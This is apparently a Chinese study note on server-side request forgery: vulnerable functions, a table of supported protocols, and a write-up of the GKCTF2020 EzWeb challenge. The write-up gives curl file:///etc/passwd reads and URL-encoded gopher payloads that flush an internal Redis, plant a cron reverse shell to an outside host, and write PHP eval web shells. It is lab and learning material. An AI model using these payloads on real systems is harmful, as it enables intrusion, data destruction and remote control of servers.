SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。很晦涩!!!举个例子:服务端有一个在线加载图片的功能,你传入一个图片URL,网站就会加载出来对应图片,所以图片的URL是网站服务器去访问的,如果我们利用这点传入一些只有服务端才能进行访问的URL,比如不对外开放的后台地址,那么这个过程就是服务端的请求伪造。
简单的说就是:
客户端把要请求的数据发给服务器!服务器来请求!这时我们可以构造发给服务器的数据!来获取服务器里的数据!等等。。。。。。
常简存在SSRF漏洞的函数
php
1.file_get_contents()
2.fsockopen()
3.curl_exec() 默认不支持302跳转的
java
1.HttpClient
2.Request (对HttpClient封装后的类)
3.HttpURLConnection
4.URLConnection
5.URL
6.okhttp
以上的几个发送网络请求的类都有可能导致SSRF,但是java的各个类对协议的支持各有不同,所以利用过程首先得确定支持哪些协议。
SSRF支持的协议
这里协议描述的细一点,也参考了各个文章的trick。因为协议的技巧都是通用的,xxe、文件读取、文件包含等都可能用的上。
语言支持协议表 | php | Java | curl | Perl | ASP.NET |
---|---|---|---|---|---|
http/https | √ | √ | √ | √ | √ |
gopher | -with-curlwrappers | Before JDK1.7 | before 7.49.0 不支持\x00 | √ | Before version 3 |
tftp | -with-curlwrappers | X | before 7.49.0 不支持\x00 | X | X |
dict | -with-curlwrappers | X | √ | X | X |
file | √ | √ | √ | √ | √ |
ftp | √ | √ | √ | √ | √ |
imap | -with-curlwrappers | X | √ | √ | X |
pop3 | -with-curlwrappers | X | √ | √ | X |
rtsp | -with-curlwrappers | √ | √ | √ | √ |
smb | -with-curlwrappers | √ | √ | √ | √ |
smtp | -with-curlwrappers | X | √ | X | X |
telnet | -with-curlwrappers | X | √ | X | X |
ssh2 | 受限于allow_url_fopen | X | X | 受限于NET:SSH2 | X |
ogg | 受限于allow_url_fopen | X | X | X | X |
expect | 受限于allow_url_fopen | X | X | X | X |
ldap | X | X | X | √ | X |
php | √ | X | X | X | X |
zlib/bzip/zip | 受限于allow_url_fopen | X | X | X | X |
各大协议
利用 Gopher 协议拓展攻击面
去长亭里看到一篇文章:
https://blog.chaitin.cn/gopher-attack-surfaces/
概述
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
CGI、FCGI、php-cgi、php-fpm概念解析
http://www.w3capi.com/doc/chapter/id/217/cid/21.html
我的理解把!CGI就是动态网页在发送给web服务器时!WEB服务器在请求相关后端服务(php服务)时,需要以什么样的格式、什么样的方式、发送给后端服务什么样的数据呢?在PHP执行环境中,其实是通过CGI进行处理的。CGI就是定义文件格式、数据内容的接口协议。!
学习文章
https://www.anquanke.com/post/id/226240
tcl
啥协议都不知道!
不知道每个协议是干啥的!
学学:
协议
file协议
读取服务器上任意文件内容
dict协议
可以用来操作内网Redis等服务
ftp、ftps
FTP匿名访问、爆破
tftp
UDP协议扩展
imap/imaps/pop3/pop3s/smtp/smtps
爆破邮件用户名密码
telnet
SSH/Telnet匿名访问及爆破
smb/smbs
SMB匿名访问及爆破
Gopher
Gopher 协议在SSRF中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%a
。注意post参数之间的&分隔符也要进行url编码
基本协议格式:URL:gopher://:/_后接TCP数据流
使用gopher协议构造post包的方法
https://www.th1s.cn/index.php/2016/10/31/15.html
实际测试以及阅读文章中发现gopher存在以下几点问题
- PHP的curl默认不跟随302跳转
- curl7.43gopher协议存在%00截断的BUG,v7.45以上可用
- file_get_contents()的SSRF,gopher协议不能使用URLencode
- file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败
gopher、dict协议以及redis服务、Curl 命令
Gopher
协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache
,也可以进行 GET、POST
请求。
DICT
协议,一个字典服务器协议,A Dictionary Server Protocol
,允许客户端在使用过程中访问更多字典并且该协议约定服务器端侦听端口号:2628
。
redis
服务是在6379
端口开启的
这些我们大致了解一下知道其用处即可
curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:
curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思
不带有任何参数时,curl 就是发出 GET 请求
$ curl https://www.example.com |
上面命令向www.example.com
发出 GET 请求,服务器返回的内容会在命令行输出
-v
参数输出通信的整个过程,用于调试。我们便可以利用-v
参数进行读取文件
使用file协议curl -v file:///etc/passwd |
其他参数可以参考curl
常见内网IP段
局域网地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255 |
利用方法:
自己去看把!太多了!!!😶
例题
[GKCTF2020]EZ三剑客-EzWeb
勉强学了点东西!
以前遇到的ssrf都是file直接读!发现file没用了!感觉啥也不会了!
访问?secret
发现执行了ifconfig
发现内网的ip
大佬说给了ip,想想就知道是ssrf!😶
我思考半天!在我的知识储备里,好像也就爆内网D段的时候用ip!好吧就可以认为是ssrf!
🙄
file:读取文件
发现file协议被过滤了,我们可以尝试绕过:file:/
、file:<空格>///
file: //
file:
file: /
|
从源码中可知过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议
我们使用http协议进行内网主机存活探测。用burp抓包,跑字典:
一般实战的时候要对IP段进行探测!那字典 http
端口进行探测!dict
爆内网ip和端口
进行D段扫描
爆出redis服务开启的
6379
也可以用nmap:
nmap -sV 9969ab83-1446-441e-808a-02a5793215c5.node3.buuoj.cn -p 6379 |
ssrf 打redis
大佬的exp
import urllib |
反弹shell
好像不行!
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/1.1.1.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/1.1.1.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/1.1.1.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bupload%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_GET%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
这里需要绕过一下空格否则会400 Bad Request
http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=10.82.232.11/shell.php?1=system('cat$IFS$9/flag');&submit=%E6%8F%90%E4%BA%A4 |
或者直接在框里输入:
url=10.82.232.11/shell.php?1=system('cat%20/flag'); |
这空格也太恶心了!🙄
curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%20echo%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |